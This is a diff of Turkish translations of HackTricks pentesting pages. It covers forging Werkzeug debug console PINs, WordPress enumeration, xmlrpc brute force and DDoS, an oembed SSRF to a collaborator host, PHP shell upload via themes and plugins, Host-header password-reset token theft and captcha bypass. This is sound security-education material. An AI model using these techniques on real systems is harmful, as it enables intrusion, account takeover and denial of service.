"console locked" senaryosuyla ilgili bir mesaj, Werkzeug'un hata ayıklama arayüzüne erişim sağlanmaya çalışıldığında karşılaşılır ve konsolu kilidini açmak için bir PIN gerekliliğini belirtir. Konsol PIN'ini istismar etmek için, Werkzeug’un hata ayıklama başlatma dosyası (`__init__.py`) içindeki PIN oluşturma algoritmasını analiz etme önerisi yapılmaktadır. PIN oluşturma mekanizması, [**Werkzeug kaynak kodu deposu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya gezinti açığı aracılığıyla temin edilmesi tavsiye edilmektedir.
|
||||
|
||||
Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_public_bits` ve `private_bits`:
|
||||
|
||||
@ -34,13 +33,13 @@ Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_pub
|
||||
- **`username`**: Flask oturumunu başlatan kullanıcıyı ifade eder.
|
||||
- **`modname`**: Genellikle `flask.app` olarak belirlenir.
|
||||
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Genellikle **Flask** olarak çözülür.
|
||||
- **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'nin tam yolunu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Eğer `app.py` geçerli değilse, **`app.pyc`** denemek gerekir.
|
||||
- **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'ye giden tam yolu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Eğer `app.py` geçerli değilse, **`app.pyc`** denemek gerekir.
|
||||
|
||||
#### **`private_bits`**
|
||||
|
||||
- **`uuid.getnode()`**: Mevcut makinenin MAC adresini alır, `str(uuid.getnode())` bunu ondalık formata çevirir.
|
||||
|
||||
- Sunucunun MAC adresini **belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızıntısı yaparak cihaz kimliğini bulmak, ardından **`/sys/class/net/<device id>/address`**'den MAC adresini **çıkarmak** gerekir.
|
||||
- Sunucunun MAC adresini **belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızdırarak cihaz kimliğini bulmak, ardından **`/sys/class/net/<device id>/address`**'den MAC adresini **çıkarmak** gerekir.
|
||||
- Onaltılık bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir:
|
||||
|
||||
```python
|
||||
@ -49,7 +48,7 @@ Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_pub
|
||||
94558041547692
|
||||
```
|
||||
|
||||
- **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den alınan verileri, son eğik çizgiden (`/`) sonraki `/proc/self/cgroup`'un ilk satırıyla birleştirir.
|
||||
- **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den verileri, son eğik çizgiden (`/`) sonra `/proc/self/cgroup`'un ilk satırıyla birleştirir.
|
||||
|
||||
<details>
|
||||
|
||||
@ -141,7 +140,7 @@ rv = num
|
||||
|
||||
print(rv)
|
||||
```
|
||||
Bu script, birleştirilmiş bitlerin hash'lenmesi, belirli tuzların (`cookiesalt` ve `pinsalt`) eklenmesi ve çıktının formatlanmasıyla PIN'i üretir. `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde elde edilmesi gerektiğini unutmamak önemlidir, böylece üretilen PIN, Werkzeug konsolunun beklediği ile eşleşir.
|
||||
Bu script, birleştirilmiş bitleri hashleyerek, belirli tuzlar (`cookiesalt` ve `pinsalt`) ekleyerek ve çıktıyı formatlayarak PIN üretir. `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde elde edilmesi gerektiğini unutmamak önemlidir, böylece üretilen PIN, Werkzeug konsolunun beklediği ile eşleşir.
|
||||
|
||||
> [!TIP]
|
||||
> Eğer **eski bir sürüm** Werkzeug kullanıyorsanız, **hashing algoritmasını md5** olarak değiştirmeyi deneyin.
|
||||
@ -150,11 +149,13 @@ Bu script, birleştirilmiş bitlerin hash'lenmesi, belirli tuzların (`cookiesal
|
||||
|
||||
[**bu sorun**](https://github.com/pallets/werkzeug/issues/2833)'da gözlemlendiği gibi, Werkzeug başlıklarda Unicode karakterleri ile bir isteği kapatmaz. Ve [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, bu bir CL.0 Request Smuggling zafiyetine neden olabilir.
|
||||
|
||||
Bu, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun **çökmesine** neden olmasındandır. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı açık kalacaktır, bu nedenle isteğin **gövdesi** **bir sonraki HTTP isteği** olarak işlenecektir.
|
||||
Bunun nedeni, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun **çökmesine** neden olmasıdır. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı açık kalacaktır, bu nedenle isteğin **gövdesi** bir sonraki **HTTP isteği** olarak işlenecektir.
|
||||
|
||||
## Otomatik Sömürü
|
||||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
{{#ref}}
|
||||
https://github.com/Ruulian/wconsole_extractor
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -5,50 +5,7 @@
|
||||
## Temel Bilgiler
|
||||
|
||||
- **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu yüzden RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Başka bir yararlı url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **wp-config.php** dosyasında veritabanının root şifresini bulabilirsiniz.
|
||||
- Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Ana WordPress Dosyaları**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` WordPress'in kurulu versiyonu gibi yararlı bilgiler içerir.
|
||||
- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
|
||||
- Giriş klasörleri (gizlemek için yeniden adlandırılabilir):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` HTTP'nin taşıma mekanizması olarak ve XML'nin kodlama mekanizması olarak işlev gördüğü WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
|
||||
- `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir.
|
||||
- `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir.
|
||||
- `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
|
||||
- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri, tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur.
|
||||
|
||||
**Sonrası istismar**
|
||||
|
||||
- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gerekli bilgileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.
|
||||
|
||||
### Kullanıcı İzinleri
|
||||
|
||||
- **Yönetici**
|
||||
- **Editör**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
|
||||
- **Yazar**: Kendi gönderilerini yayınlar ve yönetir
|
||||
- **Katkıda Bulunan**: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz
|
||||
- **Abone**: Gönderileri tarar ve profilini düzenler
|
||||
|
||||
## **Pasif Sayım**
|
||||
|
||||
### **WordPress sürümünü öğrenin**
|
||||
|
||||
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin.
|
||||
|
||||
Sayfanın **kaynak kodu** içinde (örnek [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) adresinden):
|
||||
|
||||
- grep
|
||||
- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu yüzden RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **tw
|
||||
```bash
|
||||
curl https://victim.com/ | grep 'content="WordPress'
|
||||
```
|
||||
@ -62,8 +19,6 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
- JavaScript dosyaları
|
||||
|
||||
.png>)
|
||||
|
||||
### Eklentileri Al
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
@ -81,11 +36,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Eklentiler ve Temalar
|
||||
|
||||
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif olarak Kaba Kuvvet ile denemeniz** gerekecek (umarız ki bu listeleri içeren otomatik araçlar var).
|
||||
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif Brute Force yapmanız** gerekecek (umarız ki bu listeleri içeren otomatik araçlar var).
|
||||
|
||||
### Kullanıcılar
|
||||
|
||||
- **ID Kaba Kuvvet:** Bir WordPress sitesinden geçerli kullanıcıları Kaba Kuvvet ile kullanıcı ID'lerini deneyerek elde edersiniz:
|
||||
- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları Brute Force ile kullanıcı ID'lerini alarak elde edersiniz:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -107,7 +62,7 @@ Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Eğer `xml-rpc.php` aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin).
|
||||
Eğer `xml-rpc.php` aktifse, kimlik bilgileri için brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin).
|
||||
|
||||
Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin:
|
||||
|
||||
@ -193,7 +148,7 @@ Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişmesi** için iste
|
||||
|
||||
Eğer **faultCode** değeri **0**'dan **büyük** (17) ise, bu portun açık olduğu anlamına gelir.
|
||||
|
||||
Bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın.
|
||||
Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın.
|
||||
|
||||
**DDoS**
|
||||
```markup
|
||||
@ -217,17 +172,19 @@ Wp-Cron'un devre dışı bırakılması ve gerekli eylemleri düzenli aralıklar
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek gönderebilir.
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.
|
||||
|
||||
Bu çalışmadığında gelen yanıt:
|
||||
Bu çalışmadığında alınan yanıt:
|
||||
|
||||
.png>)
|
||||
|
||||
## SSRF
|
||||
|
||||
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
|
||||
{{#ref}}
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Bu araç **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve eğer varsa, bunları istismar etmeye çalışır.
|
||||
Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır.
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -237,7 +194,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Bir biti üzerine yazarak erişim elde etme
|
||||
|
||||
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için NOT (`!`) işlemini değiştirebilirsiniz.
|
||||
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP (`!`) işlemini devre dışı bırakmak için değiştirebilirsiniz.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -252,11 +209,11 @@ Bir php shell için içeriği değiştirin:
|
||||
|
||||
.png>)
|
||||
|
||||
Bu güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
O güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
Şunu kullanabilirsiniz:
|
||||
Kullanabilirsiniz:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
@ -266,8 +223,8 @@ to get a session.
|
||||
|
||||
### PHP eklentisi
|
||||
|
||||
Eklenti olarak .php dosyaları yüklemek mümkün olabilir.\
|
||||
Örneğin, php arka kapınızı oluşturun:
|
||||
Eklenti olarak .php dosyalarını yüklemek mümkün olabilir.\
|
||||
Örneğin, php backdoor'unuzu oluşturun:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -283,11 +240,11 @@ Devam'a tıklayın:
|
||||
|
||||
.png>)
|
||||
|
||||
Muhtemelen bu görünüşte hiçbir şey yapmayacak, ama Medya'ya giderseniz, yüklediğiniz shell'i göreceksiniz:
|
||||
Muhtemelen bu görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, shell'inizin yüklendiğini göreceksiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
Erişim sağlayın ve ters shell'i çalıştırmak için URL'yi göreceksiniz:
|
||||
Erişin ve ters shell'i çalıştırmak için URL'yi göreceksiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -302,18 +259,18 @@ Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesi
|
||||
3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir.
|
||||
4. **İstismar**:
|
||||
- "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
|
||||
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
|
||||
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir.
|
||||
- Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir.
|
||||
|
||||
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle yapılan penetrasyon testleri gibi sorumlu bir şekilde kullanılmalıdır.
|
||||
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal yetki olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle penetrasyon testi için kullanılmalıdır.
|
||||
|
||||
**Daha ayrıntılı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## XSS'den RCE'ye
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya WordPress'teki diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:**
|
||||
- _**Yetki Yükseltme:**_ WordPress'te bir kullanıcı oluşturur.
|
||||
- _**(RCE) Özel Eklenti (arka kapı) Yükleme:**_ Özel eklentinizi (arka kapı) WordPress'e yükleyin.
|
||||
- _**(RCE) Özel Eklenti (backdoor) Yükleme:**_ Özel eklentinizi (backdoor) WordPress'e yükleyin.
|
||||
- _**(RCE) Yerleşik Eklenti Düzenleme:**_ WordPress'teki Yerleşik Eklentileri düzenleyin.
|
||||
- _**(RCE) Yerleşik Tema Düzenleme:**_ WordPress'teki Yerleşik Temaları düzenleyin.
|
||||
- _**(Özel) Özel İstismarlar:**_ Üçüncü Taraf WordPress Eklentileri/Tema için Özel İstismarlar.
|
||||
@ -336,7 +293,7 @@ Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bi
|
||||
|
||||
- **`wp_ajax`** 
|
||||
|
||||
Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).
|
||||
Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir Wordpress örneğinde kimlik doğrulaması yapılmış bir kullanıcının sahip olabileceği** bir Wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).
|
||||
|
||||
Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır:
|
||||
```php
|
||||
@ -346,11 +303,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**`nopriv` kullanımı, uç noktanın herhangi bir kullanıcı (hatta kimliği doğrulanmamış olanlar) tarafından erişilebilir olmasını sağlar.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Ayrıca, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir.
|
||||
> Dahası, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir.
|
||||
|
||||
- **REST API**
|
||||
|
||||
`register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür:
|
||||
Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -378,7 +335,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Ayrıca, **güvenilir WordPress eklentileri ve temaları yalnızca yükleyin**.
|
||||
Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**.
|
||||
|
||||
### Güvenlik Eklentileri
|
||||
|
||||
@ -390,8 +347,8 @@ Ayrıca, **güvenilir WordPress eklentileri ve temaları yalnızca yükleyin**.
|
||||
|
||||
- Varsayılan **admin** kullanıcısını kaldırın
|
||||
- **Güçlü şifreler** ve **2FA** kullanın
|
||||
- Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin**
|
||||
- Brute Force saldırılarını önlemek için **giriş denemelerini sınırlayın**
|
||||
- Kullanıcı **izinlerini** periyodik olarak **gözden geçirin**
|
||||
- Brute Force saldırılarını önlemek için **giriş denemelerini** sınırlayın
|
||||
- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,13 @@
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### Host başlığı
|
||||
|
||||
Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenir. Örneğin, bu değeri **şifre sıfırlama için kullanılacak alan adı** olarak kullanabilir. Yani, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığında belirttiğiniz alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrolünüzde olan bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenir. Örneğin, bu değeri **şifre sıfırlama için kullanılacak alan adı** olarak kullanabilir. Yani, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığına koyduğunuz alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrolünüzde olan bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize gerek kalmadan token'ı alabileceğinizi unutmayın, çünkü belki de **spam filtreleri veya diğer ara cihazlar/botlar bunu analiz etmek için tıklayacaktır**.
|
||||
|
||||
|
||||
### Oturum boolean'ları
|
||||
|
||||
Bazen bazı doğrulamaları doğru bir şekilde tamamladığınızda arka uç, **oturumunuza bir güvenlik niteliğine "True" değeriyle bir boolean ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\
|
||||
@ -22,11 +20,13 @@ Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (
|
||||
|
||||
### E-postaları ele geçirme
|
||||
|
||||
Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından, yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da ikinci e-postayı birincisini onaylayacak şekilde etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz.
|
||||
Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından, yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da eğer ikinci e-postayı ilkini onaylamak için etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz.
|
||||
|
||||
### Atlassian kullanan şirketlerin İç Servis Masasına Erişim
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE yöntemi
|
||||
|
||||
@ -34,5 +34,4 @@ Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devr
|
||||
|
||||

|
||||
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -8,10 +8,10 @@ Captcha'yı **bypass** etmek için **sunucu testi** sırasında kullanıcı giri
|
||||
|
||||
1. **Parametre Manipülasyonu**:
|
||||
- **Captcha Parametresini Atla**: Captcha parametresini göndermemeye çalışın. HTTP yöntemini POST'tan GET'e veya diğer fiillere değiştirmeyi ve veri formatını, örneğin form verisi ile JSON arasında geçiş yapmayı deneyin.
|
||||
- **Boş Captcha Gönder**: Captcha parametresi mevcut ancak boş bırakılarak isteği gönderin.
|
||||
- **Boş Captcha Gönder**: Captcha parametresi mevcut ama boş bırakılarak isteği gönderin.
|
||||
2. **Değer Çıkartma ve Yeniden Kullanma**:
|
||||
- **Kaynak Kodu İncelemesi**: Sayfanın kaynak kodunda captcha değerini arayın.
|
||||
- **Çerez Analizi**: Captcha değerinin saklanıp saklanmadığını ve yeniden kullanılıp kullanılmadığını bulmak için çerezleri inceleyin.
|
||||
- **Çerez Analizi**: Captcha değerinin saklanıp saklanmadığını ve yeniden kullanılıp kullanılmadığını görmek için çerezleri inceleyin.
|
||||
- **Eski Captcha Değerlerini Yeniden Kullanma**: Daha önce başarılı olan captcha değerlerini tekrar kullanmayı deneyin. Bunların her an süresinin dolabileceğini unutmayın.
|
||||
- **Oturum Manipülasyonu**: Farklı oturumlar veya aynı oturum kimliği arasında aynı captcha değerini kullanmayı deneyin.
|
||||
3. **Otomasyon ve Tanıma**:
|
||||
@ -22,7 +22,7 @@ Captcha'yı **bypass** etmek için **sunucu testi** sırasında kullanıcı giri
|
||||
4. **Ek Teknikler**:
|
||||
- **Hız Sınırı Testi**: Uygulamanın belirli bir zaman diliminde deneme veya gönderim sayısını sınırlayıp sınırlamadığını ve bu sınırın aşılabilir veya sıfırlanabilir olup olmadığını kontrol edin.
|
||||
- **Üçüncü Taraf Hizmetler**: Otomatik captcha tanıma ve çözme sunan captcha çözme hizmetleri veya API'leri kullanın.
|
||||
- **Oturum ve IP Döngüsü**: Sunucu tarafından tespit edilme ve engellenmeyi önlemek için oturum kimliklerini ve IP adreslerini sık sık değiştirin.
|
||||
- **Oturum ve IP Döngüsü**: Sunucu tarafından tespit edilmemek ve engellenmemek için oturum kimliklerini ve IP adreslerini sık sık değiştirin.
|
||||
